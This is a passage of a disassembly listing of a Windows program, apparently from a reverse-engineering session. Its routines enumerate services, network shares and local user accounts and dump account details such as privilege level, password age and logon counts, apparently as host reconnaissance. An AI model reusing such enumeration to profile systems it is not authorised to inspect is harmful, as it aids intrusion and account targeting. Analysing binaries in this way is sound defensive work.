sub ecx, 24h
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418823: ; CODE XREF: sub_4187DD+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41882D: ; CODE XREF: sub_4187DD+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418837: ; CODE XREF: sub_4187DD+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418841: ; CODE XREF: sub_4187DD+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41884B: ; CODE XREF: sub_4187DD+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418855: ; CODE XREF: sub_4187DD+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418884
dec ecx
jz short loc_41887D
dec ecx
jz short loc_418876
dec ecx
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418876: ; CODE XREF: sub_4187DD+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41887D: ; CODE XREF: sub_4187DD+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418884: ; CODE XREF: sub_4187DD+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41888B: ; CODE XREF: sub_4187DD+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418892: ; CODE XREF: sub_4187DD+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F5
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418949[ecx]
jmp off_418921[ecx*4] ; switch jump
loc_4188B6: ; DATA XREF: ___:off_418921o
push offset aTheSpecifiedDa ; jumptable 004188AF case 7
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188BD: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDepe ; jumptable 004188AF case 17
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188C4: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDe_0 ; jumptable 004188AF case 10
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188CB: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasB ; jumptable 004188AF case 0
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheSpecified_0 ; jumptable 004188AF case 2
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceCoul ; jumptable 004188AF case 11
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E0: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHa_0 ; jumptable 004188AF case 14
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E7: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheRequested_1 ; jumptable 004188AF case 3
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188EE: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasN ; jumptable 004188AF case 4
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188F5: ; CODE XREF: sub_4187DD+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FA: ; CODE XREF: sub_4187DD+41j
; sub_4187DD+4Bj ...
push offset dword_4DA930
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891B
; ---------------------------------------------------------------------------
loc_418908: ; CODE XREF: sub_4187DD+36j
; sub_4187DD+89j ...
push eax ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DA930
call sub_41B886
add esp, 0Ch
loc_41891B: ; CODE XREF: sub_4187DD+129j
mov eax, offset dword_4DA930
retn
sub_4187DD endp
; ---------------------------------------------------------------------------
off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r
dd offset loc_4188D2 ; jump table for switch statement
dd offset loc_4188E7
dd offset loc_4188EE
dd offset loc_4188B6
dd offset loc_4188C4
dd offset loc_4188D9
dd offset loc_4188E0
dd offset loc_4188BD
dd offset loc_418908
byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CAF68
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_418993: ; CODE XREF: sub_41895B+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CAF34
test eax, eax
jnz short loc_4189CD
call near ptr 2670897h
nop
cmp eax, 0EAh
jnz loc_418A81
loc_4189CD: ; CODE XREF: sub_41895B+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A78
lea esi, [ebp+var_188]
loc_4189DE: ; CODE XREF: sub_41895B+117j
mov eax, [esi+8]
dec eax
jz short loc_418A27
dec eax
jz short loc_418A20
dec eax
jz short loc_418A19
dec eax
jz short loc_418A12
dec eax
jz short loc_418A0B
dec eax
jz short loc_418A04
dec eax
jz short loc_4189FD
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_4189FD: ; CODE XREF: sub_41895B+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A04: ; CODE XREF: sub_41895B+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A0B: ; CODE XREF: sub_41895B+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A12: ; CODE XREF: sub_41895B+90j
push offset aRunning ; " Running"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A19: ; CODE XREF: sub_41895B+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A20: ; CODE XREF: sub_41895B+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_41895B+87j
push offset aStopped ; " Stopped"
loc_418A2C: ; CODE XREF: sub_41895B+A0j
; sub_41895B+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DE
loc_418A78: ; CODE XREF: sub_41895B+77j
cmp [ebp+var_8], ebx
jnz loc_418993
loc_418A81: ; CODE XREF: sub_41895B+6Cj
push [ebp+var_C]
call dword_4CAE6C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B32
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC1
dec eax
jnz short loc_418B12
push edi
push 0
call sub_418C6B
pop ecx
pop ecx
jmp short loc_418B0E
; ---------------------------------------------------------------------------
loc_418AC1: ; CODE XREF: sub_418A98+18j
cmp [ebp+arg_8], 0
jnz short loc_418B00
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B00
push 57h
pop eax
loc_418AD8: ; CODE XREF: sub_418A98+78j
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389A8[eax*4]
push offset unk_439054
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B00: ; CODE XREF: sub_418A98+2Dj
; sub_418A98+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BBF
add esp, 0Ch
loc_418B0E: ; CODE XREF: sub_418A98+27j
test eax, eax
jnz short loc_418AD8
loc_418B12: ; CODE XREF: sub_418A98+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389AC[eax*4]
push offset dword_439038
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B32: ; CODE XREF: sub_418A98+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DABEC
lea eax, [eax+eax*2]
push off_4389A8[eax*4]
push offset unk_439014
push esi
call sub_41B886
add esp, 0Ch
loc_418B52: ; CODE XREF: sub_418A98+66j
; sub_418A98+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A98 endp
; =============== S U B R O U T I N E =======================================
sub_418B58 proc near ; CODE XREF: sub_419E79+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B65
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B65: ; CODE XREF: sub_418B58+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DADEC, 1
mov ebp, eax
jnz short loc_418BA2
or byte_4DADEC, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DAB8C, eax
loc_418BA2: ; CODE XREF: sub_418B58+32j
push esi
push esi
push ebp
push dword_4DAB8C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DAB8C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep
; sub_41A19D+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2A
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CAE68
pop edi
leave
retn
sub_418BBF endp
; =============== S U B R O U T I N E =======================================
sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap
; sub_418BBF+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C37: ; CODE XREF: sub_418C2A+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2A endp
; =============== S U B R O U T I N E =======================================
sub_418C6B proc near ; CODE XREF: sub_418A98+20p
; sub_419E79+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CAE40
pop esi
retn
sub_418C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2A
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_418CC7: ; CODE XREF: sub_418C8E+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CAEB8
mov ebx, eax
cmp ebx, esi
jz short loc_418D2A
cmp ebx, 0EAh
jz short loc_418D2A
push ebx
push ebx
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_4390A0
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D2A: ; CODE XREF: sub_418C8E+5Dj
; sub_418C8E+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8E
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D38: ; CODE XREF: sub_418C8E+FCj
push dword ptr [esi+10h]
call dword_4CAE5C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D4F
mov eax, offset aNo ; "No"
loc_418D4F: ; CODE XREF: sub_418C8E+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D38
xor esi, esi
loc_418D8E: ; CODE XREF: sub_418C8E+A2j
push [ebp+var_4]
call dword_4CB004
loc_418D97: ; CODE XREF: sub_418C8E+9Aj
cmp ebx, 0EAh
jz loc_418CC7
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E54
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF1
dec eax
jz short loc_418DE6
dec eax
jnz short loc_418E0C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF6
add esp, 14h
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DE6: ; CODE XREF: sub_418DAF+1Dj
push ebx
push edi
call sub_418ED5
pop ecx
pop ecx
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DF1: ; CODE XREF: sub_418DAF+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E05
push [ebp+arg_8]
push ebx
push edi
call sub_418E7B
add esp, 0Ch
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418E05: ; CODE XREF: sub_418DAF+45j
push 57h
pop eax
loc_418E08: ; CODE XREF: sub_418DAF+35j
; sub_418DAF+40j ...
cmp eax, edi
jnz short loc_418E2C
loc_418E0C: ; CODE XREF: sub_418DAF+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389AC[eax*4]
push offset unk_439158
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E2C: ; CODE XREF: sub_418DAF+5Bj
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389A8[eax*4]
push offset unk_439128
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E54: ; CODE XREF: sub_418DAF+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DADF0
lea eax, [eax+eax*2]
push off_4389A8[eax*4]
push offset unk_439100
push esi
call sub_41B886
add esp, 0Ch
loc_418E74: ; CODE XREF: sub_418DAF+7Bj
; sub_418DAF+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2A
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CAE4C
pop edi
leave
retn
sub_418E7B endp
; =============== S U B R O U T I N E =======================================
sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push eax
push esi
call dword_4CAE3C
pop esi
retn
sub_418ED5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CAFCC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929E
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192D9
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419015
dec eax
jz short loc_41900E
dec eax
jz short loc_419007
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419007: ; CODE XREF: sub_418EF6+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418EF6+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419015: ; CODE XREF: sub_418EF6+102j
mov eax, offset aGuest ; "Guest"
loc_41901A: ; CODE XREF: sub_418EF6+10Fj
; sub_418EF6+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CA
; ---------------------------------------------------------------------------
loc_41929E: ; CODE XREF: sub_418EF6+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439178
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A72
add esp, 20h
loc_4192CA: ; CODE XREF: sub_418EF6+3A6j
cmp [ebp+var_4], 0
jz short loc_4192D9
push [ebp+var_4]
call dword_4CB004
loc_4192D9: ; CODE XREF: sub_418EF6+40j
; sub_418EF6+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2A
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_41931E: ; CODE XREF: sub_4192DF+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CAED4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41937F
cmp eax, 0EAh
jz short loc_41937F
push eax
push eax
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439368
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_41937F: ; CODE XREF: sub_4192DF+62j
